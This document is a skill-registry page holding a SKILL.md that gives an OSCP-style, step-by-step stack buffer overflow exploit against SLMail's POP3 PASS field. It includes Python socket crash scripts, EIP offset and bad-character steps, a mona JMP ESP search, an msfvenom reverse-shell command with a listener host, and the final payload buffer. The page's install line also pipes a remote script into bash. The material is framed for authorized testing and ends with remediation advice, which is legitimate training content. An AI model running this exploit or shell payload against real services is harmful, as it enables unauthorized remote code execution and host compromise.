performing-windows-binary-exploitation
Methodology for exploiting classic 32-bit Windows stack buffer overflows in network services during authorized engagements (OSCP-level), covering crash reproduction, EIP offset discovery with pattern_create/pattern_offset, shellcode space and bad-character enumeration, locating a reliable JMP ESP return address with mona.py, and delivering an msfvenom payload to gain remote code execution.
适合你,如果你在准备OSCP考试或需要渗透Windows二进制服务
npx oh-my-skill add xalgord/xalgorix/performing-windows-binary-exploitationcurl -fsSL https://oh-my-skill.com/install.sh | bash -s -- xalgord/xalgorix/performing-windows-binary-exploitationnpx oh-my-skill verify xalgord/xalgorix/performing-windows-binary-exploitation怎么用
技能原文 SKILL.md
Performing Windows Binary Exploitation
When to Use
- During authorized assessments or OSCP-style labs against a 32-bit Windows network service (e.g., SLMail POP3, custom TCP daemons) that crashes when sent an oversized request to a field such as
USER,PASS, or a protocol command. - When you have a Windows debugger (Immunity Debugger + mona.py, or x32dbg/WinDbg) attached and can observe that a large input overwrites
EIP, indicating a saved-return-address overwrite. - When the target binary/DLLs lack modern mitigations (no ASLR, no DEP/NXCompat, no SafeSEH) so a static
JMP ESPreturn address into stack-resident shellcode is viable. - As the end-to-end recipe to take a crash from proof-of-concept DoS to a working reverse/bind shell.
Critical: Concepts/Steps Most Often Missed
- Confirming EIP control vs. a generic crash. A SIGSEGV/access violation is not enough. You must prove
EIPholds your bytes. Send'A'*offset + 'BBBB' + 'CCCC'and verifyEIP == 0x42424242("BBBB"). Only then is control-flow hijack confirmed. - Bad characters break everything silently.
0x00(null),0x0A(LF), and0x0D(CR) are almost always bad for string-based protocols, but each target differs. Skipping bad-char enumeration produces a mangled/truncated shellcode in memory and a non-working (but "correct-looking") exploit. Always diff the in-memory bytes against the sent badchar block. - Choosing the JMP ESP module wrong. The return address must come from a module with **Rebase: False, ASLR: False, SafeSEH: False, NXCompat: False, OS Dll: True/stable base** — otherwise the address shifts on reboot/patch and the exploit becomes unreliable. Verify with
!mona modules. - Bad bytes inside the return address. The
JMP ESPaddress itself must not contain any bad character, or the overwrite truncates before reachingEIP. - Forgetting NOPs / self-modifying shellcode. Encoded payloads (e.g.,
shikata_ga_nai) decode on the stack and can overwrite their own first bytes. Prepend a NOP sled (\x90* 8–16) between the return address and the shellcode so the decoder has room. - Restart the service between attempts. Each crash leaves the service dead; restart (e.g.,
net start slmail) and re-attach before every test or you will misread stale state.
How to CONFIRM
Attach the debugger, send a pattern from pattern_create.rb -l <size>, and on crash read EIP. Feed that value to pattern_offset.rb -l <size> -q <eip> to get the exact offset. Re-send 'A'*offset + 'BBBB' + 'C'*N and confirm EIP = 0x42424242 and that ESP points into your C buffer with enough contiguous space for the shellcode. That two-part check (offset reproducible + EIP exactly your marker) is the definitive proof of control.
Workflow
Step 1: Reproduce the Crash and Profile
#!/usr/bin/python
import socket
ip, port = '10.11.25.153', 110
buffer = 'A' * 2700
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send('USER username\r\n'); s.recv(1024)
s.send('PASS ' + buffer + '\r\n') # oversized field crashes the service
Attach the service in Immunity Debugger (File -> Attach), press Run, then send the script. An access violation with EIP overwritten by 41414141 indicates a controllable return-address overflow. Restart the service before the next step.
Step 2: Find the EIP Offset with a Cyclic Pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 # put the generated pattern into `buffer`, crash again, read EIP (e.g. 39694438) /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 # -> Exact match at offset 2606
Confirm:
buffer = 'A'*2606 + 'BBBB' + 'CCCC' # EIP must become 0x42424242 ("BBBB")
Step 3: Check Shellcode Space and Enumerate Bad Characters
buffer = 'A'*2606 + 'BBBB' + 'C'*600 # verify ESP points at C's and how much room exists
# Send all bytes 0x01..0xff after EIP, then diff against memory at ESP to spot mangled/missing bytes badchars = ( "\x01\x02\x03...\xfd\xfe\xff") # full 0x01-0xff block (0x00 already assumed bad) buffer = 'A'*2606 + 'BBBB' + badchars # Common results: drop 0x0A (LF) and 0x0D (CR); keep refining until the block is intact in memory
Step 4: Find a JMP ESP and Deliver the Payload
!mona modules # find module with Rebase/ASLR/SafeSEH/NXCompat = False !mona find -s "\xff\xe4" -m slmfc.dll # \xff\xe4 = JMP ESP; pick an address with no bad chars # e.g. 0x5f4a358f -> packed little-endian as \x8f\x35\x4a\x5f
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c \ -b '\x00\x0a\x0d' EXITFUNC=thread -e x86/shikata_ga_nai
buffer = 'A'*2606 + '\x8f\x35\x4a\x5f' + '\x90'*8 + shellcode # ret-addr + NOP sled + payload
s.send('PASS ' + buffer + '\r\n') # catch shell on nc -lvnp 443
Key Concepts
| Concept | Description | |---------|-------------| | EIP overwrite | Overflowing the saved 32-bit return address so the CPU jumps to an attacker-chosen address on RET. | | Offset | Exact number of bytes before the 4 bytes that land in EIP, found via cyclic pattern. | | JMP ESP | A \xff\xe4 gadget in a fixed-base module; redirects execution into stack-resident shellcode at ESP. | | Bad characters | Bytes corrupted/terminated by the input handler (commonly 0x00, 0x0A, 0x0D) that must be excluded. | | NOP sled | \x90 padding giving an encoded payload room to decode without clobbering its own start. | | SafeSEH / mona modules | Protection and the enumeration step used to pick a reliable, non-ASLR return address. | | Encoder (shikata_ga_nai) | Polymorphic msfvenom encoder used to avoid bad bytes; self-decodes on the stack. |
Tools & Systems
| Tool | Purpose | |------|---------| | Immunity Debugger + mona.py | Attach to the service, observe EIP/ESP, !mona modules, !mona find for JMP ESP. | | x32dbg / WinDbg | Alternative debuggers for crash triage and register/stack inspection on Windows. | | pattern_create.rb / pattern_offset.rb | Metasploit tools to generate a cyclic pattern and compute the EIP offset. | | msfvenom | Generate bad-char-free, encoded reverse/bind shellcode (-b, -e, EXITFUNC). | | netcat (nc) | Listener to catch the reverse shell (nc -lvnp 443). | | pwntools | Optional scripting for socket interaction, packing (p32), and payload assembly. |
Common Scenarios
Scenario 1: SLMail POP3 PASS overflow
Sending PASS with ~2700 bytes crashes SLMail; the offset to EIP is 2606. A JMP ESP from slmfc.dll (0x5f4a358f) plus an 8-byte NOP sled and a shikata_ga_nai-encoded reverse shell (bad chars \x00\x0a\x0d) yields SYSTEM/service-account RCE.
Scenario 2: Custom TCP service command overflow
A proprietary daemon overflows on an oversized protocol verb argument. After confirming EIP control and enumerating bad chars (including a protocol delimiter byte), a JMP ESP from a non-ASLR plugin DLL lands a bind shell.
Scenario 3: Limited shellcode space
ESP has only a few hundred contiguous bytes. A first-stage egghunter or a short jmp backward into the larger A buffer is used to reach a full second-stage payload placed earlier in the request.
Scenario 4: Encoder self-corruption
A payload appears in memory but the shell never connects. Adding a longer NOP sled and regenerating the shellcode (a different encoder iteration) resolves a self-overwrite during decoding.
Output Format
## Windows Binary Exploitation Finding **Vulnerability**: Stack buffer overflow in 32-bit network service (CWE-121) **Severity**: Critical (remote code execution) **Target**: SLMail 5.5 POP3 (10.11.25.153:110), no ASLR/DEP/SafeSEH on slmfc.dll **Vulnerable Field**: PASS command argument ### Crash & Control Proof - Crash input: 'A'*2700 -> access violation, EIP = 0x41414141 - Offset to EIP: 2606 (pattern_offset confirmed) - Control check: 'A'*2606 + 'BBBB' + 'C'*600 -> EIP = 0x42424242, ESP points into C buffer (~430 bytes free) - Bad chars: 0x00, 0x0a, 0x0d ### Exploitation Path Return address: JMP ESP @ 0x5f4a358f (slmfc.dll, Rebase/ASLR/SafeSEH=False) Payload: 'A'*2606 + p32(0x5f4a358f) + '\x90'*8 + msfvenom windows/shell_reverse_tcp (encoded) Result: reverse shell to 10.11.0.41:443 as the service account. ### Impact Remote code execution as the SLMail service account; full host compromise after local privilege escalation. ### Recommendation 1. Patch/replace the vulnerable service; validate and bound all protocol field lengths. 2. Recompile with /GS stack cookies, SafeSEH, /DYNAMICBASE (ASLR), and /NXCOMPAT (DEP). 3. Enforce system-wide ASLR/DEP and segment the service off untrusted networks. 4. Add input-length monitoring/IPS signatures for oversized POP3 commands.